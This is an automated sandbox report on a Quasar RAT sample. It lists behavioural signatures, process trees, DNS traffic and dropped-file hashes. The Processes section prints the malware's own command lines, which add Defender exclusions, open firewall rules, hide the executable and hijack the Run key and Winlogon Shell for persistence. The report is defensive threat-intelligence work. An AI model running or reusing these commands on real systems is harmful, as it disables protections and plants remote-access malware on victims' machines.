Malware Analysis Report

2025-08-10 19:29

Sample ID 230801-l4b7hsfb28
Target ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78
SHA256 ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78
Tags
quasar - evasion spyware trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78

Threat Level: Known bad

The file ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78 was found to be: Known bad.

Malicious Activity Summary

quasar - evasion spyware trojan upx

Quasar payload

Quasar RAT

Modifies Windows Firewall

Loads dropped DLL

Unexpected DNS network traffic destination

UPX packed file

Executes dropped EXE

ACProtect 1.3x - 1.4x DLL software

Enumerates physical storage devices

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Views/modifies file attributes

Suspicious use of WriteProcessMemory

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-08-01 10:04

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-08-01 10:04

Reported

2023-08-01 10:07

Platform

win10v2004-20230703-en

Max time kernel

45s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

ACProtect 1.3x - 1.4x DLL software

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7z.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7z.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 208.67.222.222 N/A N/A
Destination IP 208.67.222.222 N/A N/A
Destination IP 208.67.222.222 N/A N/A

Enumerates physical storage devices

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4904 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe C:\Windows\SysWOW64\cmd.exe
PID 4904 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe C:\Windows\SysWOW64\cmd.exe
PID 4904 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1244 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\nslookup.exe
PID 1244 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\nslookup.exe
PID 1244 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\nslookup.exe
PID 1840 wrote to memory of 1604 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1604 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1604 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1604 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 1604 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 1604 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 1840 wrote to memory of 3548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3548 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7z.exe
PID 1840 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7z.exe
PID 1840 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7z.exe
PID 1840 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 536 wrote to memory of 844 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 844 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 844 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 3848 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 3848 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 3848 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\netsh.exe
PID 536 wrote to memory of 4164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\Music\rot.exe
PID 536 wrote to memory of 4164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\Music\rot.exe
PID 536 wrote to memory of 4164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\Music\rot.exe
PID 4164 wrote to memory of 4572 N/A C:\Users\Admin\Music\rot.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4164 wrote to memory of 4572 N/A C:\Users\Admin\Music\rot.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4164 wrote to memory of 4572 N/A C:\Users\Admin\Music\rot.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 536 wrote to memory of 4076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 536 wrote to memory of 4076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 536 wrote to memory of 4076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4076 wrote to memory of 116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4076 wrote to memory of 116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4076 wrote to memory of 116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe

"C:\Users\Admin\AppData\Local\Temp\ab79c422682f817ed160d17065c5cd314cb70709790e96dcbc8f92be15d35e78.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com

C:\Windows\SysWOW64\nslookup.exe

nslookup myip.opendns.com. resolver1.opendns.com

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic ComputerSystem get Domain

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'

C:\Users\Admin\AppData\Local\Temp\7z.exe

7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1

C:\Windows\SysWOW64\netsh.exe

"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes

C:\Windows\SysWOW64\netsh.exe

"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic computersystem where name="LMMMEQUO" set AutomaticManagedPagefile=False

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"

C:\Windows\SysWOW64\attrib.exe

"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F

C:\Users\Admin\AppData\Local\Temp\ratt.exe

"ratt.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 10

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 20 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 20 > nul && "C:\Users\Admin\Music\rot.exe"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 20

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 9

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 8 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 8 > nul && "C:\Users\Admin\Music\rot.exe"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 8

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 8

C:\Users\Admin\Music\rot.exe

"C:\Users\Admin\Music\rot.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 resolver1.opendns.com udp
US 208.67.222.222:53 resolver1.opendns.com udp
US 208.67.222.222:53 resolver1.opendns.com udp
US 208.67.222.222:53 resolver1.opendns.com udp
US 8.8.8.8:53 222.222.67.208.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 64.13.109.52.in-addr.arpa udp
US 8.8.8.8:53 34.197.79.40.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\ratt.bat

MD5 7ea1fec84d76294d9256ae3dca7676b2
SHA1 1e335451d1cbb6951bc77bf75430f4d983491342
SHA256 9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940
SHA512 ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

memory/3548-146-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/3548-147-0x0000000002AB0000-0x0000000002AC0000-memory.dmp

memory/3548-148-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

memory/3548-149-0x0000000005230000-0x0000000005858000-memory.dmp

memory/3548-150-0x0000000005910000-0x0000000005932000-memory.dmp

memory/3548-151-0x00000000059B0000-0x0000000005A16000-memory.dmp

memory/3548-152-0x0000000005A90000-0x0000000005AF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ci3csbet.hxj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3548-162-0x00000000060A0000-0x00000000060BE000-memory.dmp

memory/3548-163-0x0000000002AB0000-0x0000000002AC0000-memory.dmp

memory/3548-166-0x0000000074650000-0x0000000074E00000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

memory/1944-168-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/1944-169-0x0000000005310000-0x0000000005320000-memory.dmp

memory/1944-170-0x0000000005310000-0x0000000005320000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f4239e7601ba399c8ed7df6d65640a76
SHA1 1b767fbc437db55444fa85edf03142fdfe67024d
SHA256 8f3de1964308d099cba045ff4a4516ac37820d6c2245688cb294feee361da83d
SHA512 977fde475db5f3d0fd8b9e2f1d6dd63fea86587984dad3213d26cc44dabe7105f12954ba8247a202ed90e360009e88dc3c945647178e90d5a857ff3cd3a235aa

memory/1944-181-0x0000000005310000-0x0000000005320000-memory.dmp

memory/1944-183-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/888-184-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/888-185-0x00000000049C0000-0x00000000049D0000-memory.dmp

memory/888-186-0x00000000049C0000-0x00000000049D0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fa2cb9bcb638244635d26d2dce4624e5
SHA1 b9ab5e8b823a1117a10a7f8decb5efa6af5a037b
SHA256 6f62fc7570fde60c25ba57faeaef170c251fe205284b22bc75c34658560f0e42
SHA512 8d7269a8ff5aeaf22e1f83f2af034e1b176593b6c5edcdab82b822f1f3036b5bff8346a756418b4bb44964fe0b28d4aafc5bebe931923215e02b01539b010ecd

memory/888-198-0x00000000049C0000-0x00000000049D0000-memory.dmp

memory/888-199-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/1452-200-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/1452-201-0x0000000005220000-0x0000000005230000-memory.dmp

memory/1452-202-0x0000000005220000-0x0000000005230000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 20b28f4895cd8698405fe210f2bac089
SHA1 edccea9ba751890fc9f670bd2b36e0dbcfdf1643
SHA256 0142e986687afb470cdfe352431cbbbbe94eac952199afb31a9f022756718eb5
SHA512 3ab4a06ee459d988962cd33785794f6aeac6eaf5c25452057408fab4049d490b4198eaf66c16219cd8a871615e578994e36fbd0ad2fc6e0df093ab8dbdfde590

memory/1452-214-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/3468-215-0x0000000074650000-0x0000000074E00000-memory.dmp

memory/3468-216-0x0000000004C10000-0x0000000004C20000-memory.dmp

memory/3468-217-0x0000000004C10000-0x0000000004C20000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9b0933bfe96dc54bd5f9adbb6bd0de87
SHA1 06feb731e86fa9162c14abcaf0f9abb2ad5fddbe
SHA256 3f023c4105187be381fabef73de327f051951bfe44832638079fa416983d7b93
SHA512 045d7ece2549397896f493a7e3ca6fc769988e0e1d05681d11f4e2f9b092063e16789c0130b116a43c30f5fb9579bf57c0f6cf44fffc19a5c344170b38f6c759

memory/3468-229-0x0000000074650000-0x0000000074E00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7z.exe

MD5 8ba2e41b330ae9356e62eb63514cf82e
SHA1 8dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256 ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA512 2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

C:\Users\Admin\AppData\Local\Temp\7z.exe

MD5 8ba2e41b330ae9356e62eb63514cf82e
SHA1 8dc266467a5a0d587ed0181d4344581ef4ff30b2
SHA256 ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
SHA512 2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

